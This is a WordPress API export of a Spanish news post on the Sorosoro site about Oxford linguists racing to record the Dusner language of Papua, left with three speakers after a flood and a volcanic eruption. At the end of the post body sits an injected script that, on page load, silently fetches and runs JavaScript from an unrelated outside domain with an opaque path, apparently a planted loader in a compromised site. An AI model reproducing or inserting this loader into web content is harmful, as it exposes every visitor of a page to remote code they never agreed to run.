{"id":46979,"date":"2011-05-03T09:40:04","date_gmt":"2011-05-03T07:40:04","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=46979"},"modified":"2025-10-21T22:53:49","modified_gmt":"2025-10-21T20:53:49","slug":"21-de-abril-de-2011-articulos-sobre-la-lengua-dusner-que-ya-no-cuenta-mas-que-con-3-locutores","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2011\/05\/21-de-abril-de-2011-articulos-sobre-la-lengua-dusner-que-ya-no-cuenta-mas-que-con-3-locutores\/","title":{"rendered":"21 de abril de 2011: art\u00edculos sobre la lengua dusner que ya no cuenta m\u00e1s que con 3 locutores"},"content":{"rendered":"<p style=\"text-align: justify;\">Es una verdadera carrera contra reloj la que empezaron algunos investigadores de la <strong>Universidad de Oxford<\/strong>, en Gran Breta\u00f1a, para documentar la <strong>lengua dusner<\/strong>, una de las 130 lenguas del planeta habladas por menos de 10 personas.<\/p>\n<p style=\"text-align: justify;\">La existencia de esta lengua ha sido descubierta por un equipo de ling\u00fcistas en Dusner, un pueblo de pescadores perdido en la selva de la isla de <strong>Papuasia<\/strong> en Indonesia.<\/p>\n<p style=\"text-align: justify;\">Estos investigadores temieron lo peor recientemente cuando las <strong>inundaciones<\/strong> se llevaron casi todo el pueblo. Uno de los \u00faltimos emisores de Dusner pereci\u00f3 all\u00ed, pero otros dos sobrevivieron.<\/p>\n<p style=\"text-align: justify;\">La tercera persona que habla la lengua es una mujer de 60 a\u00f1os que vive en la ciudad de Yogyakarta, pero algunos d\u00edas despu\u00e9s de las inundaciones, tuve que enfrentar la <strong>erupci\u00f3n de un volc\u00e1n<\/strong> cerca de su casa, sin la posibilidad de la evacuaran.<\/p>\n<p style=\"text-align: justify;\">Estos acontecimientos tr\u00e1gicos reforzaron el sentimiento de la <strong>urgencia<\/strong> de grabar y documentar la lengua: l<strong>os tres \u00faltimos emisores podr\u00edan desaparecer de la noche a la ma\u00f1ana<\/strong>, ya que tienen respectivamente 45, 60 y 70 a\u00f1os, y que la esperanza de vida en Indonesia es de 71 a\u00f1os. El <strong>profesor Dalrymple<\/strong> tiene pues la intenci\u00f3n de grabarlos en el transcurso de los pr\u00f3ximos meses con el fin de que cuenten su vida y sus historias, y tambi\u00e9n que ejecutan sus ceremonias tradicionales para conservar un rastro para las generaciones futuras.<\/p>\n<p style=\"text-align: justify;\">Los no locutores parecen en efecto atados a su cultura y querr\u00edan poder utilizar ciertas expresiones en ocasiones especiales. Un afecto desgraciadamente un poco tard\u00edo, luego de que sus ancianos hubieran dejado de transmitirles la lengua a sus ni\u00f1os, pensando que tendr\u00edan una mejor oportunidad de \u00e9xito social si hablaran el malayo, la lengua principal de Indonesia.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><a href=\"http:\/\/www.ox.ac.uk\/media\/news_stories\/2011\/112104.html\" target=\"_blank\">Para leer el art\u00edculo completo\u00a0sobre el sitio de la Universidad de Oxford<\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/dusner.clp.ox.ac.uk\/\" target=\"_blank\">Para m\u00e1s informaci\u00f3n sobre los tres \u00faltimos locutores y documentos en lengua dusner<\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/www.telegraph.co.uk\/science\/science-news\/8463840\/Oxford-University-mission-to-save-a-language-spoken-by-three-people.html\" target=\"_blank\">Ver tambi\u00e9n el art\u00edculo del Daily Telegraph<\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/www.theaustralian.com.au\/news\/health-science\/last-few-speakers-of-indonesian-language-dusner-nearly-wiped-out-by-flood-volcano\/story-e6frg8y6-1226042738101\" target=\"_blank\">Y el art\u00edculo en The Australian<\/a><\/p>\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Es una verdadera carrera contra reloj la que empezaron algunos investigadores de la Universidad de Oxford, en Gran Breta\u00f1a, para documentar la lengua dusner, una de las 130 lenguas del planeta habladas por menos de 10 personas. La existencia de esta lengua ha sido descubierta por un equipo de ling\u00fcistas en Dusner, un pueblo de [&hellip;]<\/p>\n","protected":false},"author":18,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[],"class_list":["post-46979","post","type-post","status-publish","format-standard","hentry","category-noticias"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>21 de abril de 2011: art\u00edculos sobre la lengua dusner que ya no cuenta m\u00e1s que con 3 locutores - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/es\/2011\/05\/21-de-abril-de-2011-articulos-sobre-la-lengua-dusner-que-ya-no-cuenta-mas-que-con-3-locutores\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"21 de abril de 2011: art\u00edculos sobre la lengua dusner que ya no cuenta m\u00e1s que con 3 locutores - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"Es una verdadera carrera contra reloj la que empezaron algunos investigadores de la Universidad de Oxford, en Gran Breta\u00f1a, para documentar la lengua dusner, una de las 130 lenguas del planeta habladas por menos de 10 personas. La existencia de esta lengua ha sido descubierta por un equipo de ling\u00fcistas en Dusner, un pueblo de [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/es\/2011\/05\/21-de-abril-de-2011-articulos-sobre-la-lengua-dusner-que-ya-no-cuenta-mas-que-con-3-locutores\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2011-05-03T07:40:04+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T20:53:49+00:00\" \/>\n<meta name=\"author\" content=\"Michel.Lemee\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Michel.Lemee\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/05\/21-de-abril-de-2011-articulos-sobre-la-lengua-dusner-que-ya-no-cuenta-mas-que-con-3-locutores\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/05\/21-de-abril-de-2011-articulos-sobre-la-lengua-dusner-que-ya-no-cuenta-mas-que-con-3-locutores\/\"},\"author\":{\"name\":\"Michel.Lemee\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"headline\":\"21 de abril de 2011: art\u00edculos sobre la lengua dusner que ya no cuenta m\u00e1s que con 3 locutores\",\"datePublished\":\"2011-05-03T07:40:04+00:00\",\"dateModified\":\"2025-10-21T20:53:49+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/05\/21-de-abril-de-2011-articulos-sobre-la-lengua-dusner-que-ya-no-cuenta-mas-que-con-3-locutores\/\"},\"wordCount\":362,\"articleSection\":[\"Noticias sobre los idiomas en peligro\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/05\/21-de-abril-de-2011-articulos-sobre-la-lengua-dusner-que-ya-no-cuenta-mas-que-con-3-locutores\/\",\"url\":\"https:\/\/www.sorosoro.org\/es\/2011\/05\/21-de-abril-de-2011-articulos-sobre-la-lengua-dusner-que-ya-no-cuenta-mas-que-con-3-locutores\/\",\"name\":\"21 de abril de 2011: art\u00edculos sobre la lengua dusner que ya no cuenta m\u00e1s que con 3 locutores - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\"},\"datePublished\":\"2011-05-03T07:40:04+00:00\",\"dateModified\":\"2025-10-21T20:53:49+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/05\/21-de-abril-de-2011-articulos-sobre-la-lengua-dusner-que-ya-no-cuenta-mas-que-con-3-locutores\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/es\/2011\/05\/21-de-abril-de-2011-articulos-sobre-la-lengua-dusner-que-ya-no-cuenta-mas-que-con-3-locutores\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/05\/21-de-abril-de-2011-articulos-sobre-la-lengua-dusner-que-ya-no-cuenta-mas-que-con-3-locutores\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"21 de abril de 2011: art\u00edculos sobre la lengua dusner que ya no cuenta m\u00e1s que con 3 locutores\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/es\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\",\"name\":\"Michel.Lemee\",\"url\":\"https:\/\/www.sorosoro.org\/es\/author\/michel-lemee\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"21 de abril de 2011: art\u00edculos sobre la lengua dusner que ya no cuenta m\u00e1s que con 3 locutores - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/es\/2011\/05\/21-de-abril-de-2011-articulos-sobre-la-lengua-dusner-que-ya-no-cuenta-mas-que-con-3-locutores\/","og_locale":"es_ES","og_type":"article","og_title":"21 de abril de 2011: art\u00edculos sobre la lengua dusner que ya no cuenta m\u00e1s que con 3 locutores - Sorosoro","og_description":"Es una verdadera carrera contra reloj la que empezaron algunos investigadores de la Universidad de Oxford, en Gran Breta\u00f1a, para documentar la lengua dusner, una de las 130 lenguas del planeta habladas por menos de 10 personas. La existencia de esta lengua ha sido descubierta por un equipo de ling\u00fcistas en Dusner, un pueblo de [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/es\/2011\/05\/21-de-abril-de-2011-articulos-sobre-la-lengua-dusner-que-ya-no-cuenta-mas-que-con-3-locutores\/","og_site_name":"Sorosoro","article_published_time":"2011-05-03T07:40:04+00:00","article_modified_time":"2025-10-21T20:53:49+00:00","author":"Michel.Lemee","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"Michel.Lemee","Tiempo de lectura":"2 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/es\/2011\/05\/21-de-abril-de-2011-articulos-sobre-la-lengua-dusner-que-ya-no-cuenta-mas-que-con-3-locutores\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/05\/21-de-abril-de-2011-articulos-sobre-la-lengua-dusner-que-ya-no-cuenta-mas-que-con-3-locutores\/"},"author":{"name":"Michel.Lemee","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"headline":"21 de abril de 2011: art\u00edculos sobre la lengua dusner que ya no cuenta m\u00e1s que con 3 locutores","datePublished":"2011-05-03T07:40:04+00:00","dateModified":"2025-10-21T20:53:49+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/05\/21-de-abril-de-2011-articulos-sobre-la-lengua-dusner-que-ya-no-cuenta-mas-que-con-3-locutores\/"},"wordCount":362,"articleSection":["Noticias sobre los idiomas en peligro"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/es\/2011\/05\/21-de-abril-de-2011-articulos-sobre-la-lengua-dusner-que-ya-no-cuenta-mas-que-con-3-locutores\/","url":"https:\/\/www.sorosoro.org\/es\/2011\/05\/21-de-abril-de-2011-articulos-sobre-la-lengua-dusner-que-ya-no-cuenta-mas-que-con-3-locutores\/","name":"21 de abril de 2011: art\u00edculos sobre la lengua dusner que ya no cuenta m\u00e1s que con 3 locutores - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/#website"},"datePublished":"2011-05-03T07:40:04+00:00","dateModified":"2025-10-21T20:53:49+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/05\/21-de-abril-de-2011-articulos-sobre-la-lengua-dusner-que-ya-no-cuenta-mas-que-con-3-locutores\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/es\/2011\/05\/21-de-abril-de-2011-articulos-sobre-la-lengua-dusner-que-ya-no-cuenta-mas-que-con-3-locutores\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/es\/2011\/05\/21-de-abril-de-2011-articulos-sobre-la-lengua-dusner-que-ya-no-cuenta-mas-que-con-3-locutores\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/es\/"},{"@type":"ListItem","position":2,"name":"21 de abril de 2011: art\u00edculos sobre la lengua dusner que ya no cuenta m\u00e1s que con 3 locutores"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/es\/#website","url":"https:\/\/www.sorosoro.org\/es\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18","name":"Michel.Lemee","url":"https:\/\/www.sorosoro.org\/es\/author\/michel-lemee\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/46979","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/users\/18"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/comments?post=46979"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/46979\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/media?parent=46979"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/categories?post=46979"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/tags?post=46979"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}